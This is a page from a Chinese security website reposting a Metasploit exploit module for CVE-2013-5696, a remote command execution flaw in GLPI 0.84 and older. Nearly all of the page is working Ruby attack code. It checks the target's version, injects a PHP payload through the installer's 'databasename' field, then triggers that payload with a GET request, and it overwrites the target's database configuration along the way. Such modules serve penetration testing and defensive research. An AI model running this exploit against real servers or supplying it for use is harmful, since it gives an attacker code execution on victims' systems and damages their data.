首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
GLPI install.php Remote Command Execution Vulnerability
来源:metasploit.com 作者:Leiter 发布时间:2013-09-22  
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
##
  
require 'msf/core'
  
class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking # Application database configuration is overwritten
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'GLPI install.php Remote Command Execution',
      'Description'    => %q{
        This module exploits an arbitrary command execution vulnerability in the
        GLPI 'install.php' script. Users should use this exploit at his own risk,
        since it's going to overwrite database configuration.
      },
      'Author'         =>
        [
          'Tristan Leiter < research[at]navixia.com >', # Navixia Research Team
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-5696' ],
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Payload'        =>
        {
          'Space'       => 4000,
          'BadChars'    => "#",
          'DisableNops' => true,
          'Keys'        => ['php']
        },
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'GLPI 0.84 or older', { }]],
      'DisclosureDate' => 'Sep 12 2013',
      'DefaultTarget'  => 0))
  
      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to GLPI', '/glpi/'])
        ], self.class)
  end
  
  def uri
    return target_uri.path
  end
  
  def check
    # Check if the GLPI instance is vulnerable
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(uri, 'index.php'),
    })
  
    if not res or res.code != 200
      return Exploit::CheckCode::Safe
    end
  
    re = '(version)(\\s+)(.*)(\\s+)(Copyright)'
    m = Regexp.new(re, Regexp::IGNORECASE)
    matched = m.match(res.body)
    if matched and matched[3] =~ /0.(8[0-4].[0-1])|([0-7][0-9].[0-9])/
      print_good("Detected Version : #{matched[3]}")
      return Exploit::CheckCode::Appears
    elsif matched
      print_error("Version #{matched[3]} is not vulnerable")
    end
    return Exploit::CheckCode::Safe
  
  end
  
  def exploit
    print_status("Injecting the payload...")
    rand_arg = Rex::Text.rand_text_hex(10)
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(uri, 'install/install.php'),
      'vars_post' =>
      {
        'install'      => 'update_1',
        'db_host'      => 'localhost',
        'db_user'      => 'root',
        'db_pass'      => 'root',
        'databasename' =>"'; } if(isset($_GET['#{rand_arg}'])){ #{payload.encoded} } /*"
      }
    })
  
    unless res and res.code == 200 and res.body =~ /You will update the GLPI database/
      print_warning("Unexpected response while injecting the payload, trying to execute anyway...")
    end
  
    print_status("Executing the payload...")
    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(uri, 'index.php'),
      'vars_get'  =>
      {
        rand_arg => '1',
      }
    })
  end
  
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·freeFTPd 1.0.10 PASS Command S
·Linksys WRT110 Remote Command
·A-PDF WAV to MP3 1.0.0 Buffer
·CA BrightStor ARCserve Tape En
·OpenEMR 4.1.1 Patch 14 SQLi Pr
·PCMAN FTP Server Post-Authenti
·Western Digital Arkeia Remote
·MS13-069 Microsoft Internet Ex
·McKesson ActiveX File/Environm
·MS13-071 Microsoft Windows The
·TeraCopy 2.3 (default.mo) Lang
·SolarWinds Server and Applicat
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved